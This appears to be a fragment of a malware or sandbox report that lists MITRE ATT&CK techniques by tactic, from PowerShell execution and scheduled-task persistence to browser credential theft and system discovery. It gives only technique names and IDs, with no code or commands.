Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Authentication Process

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion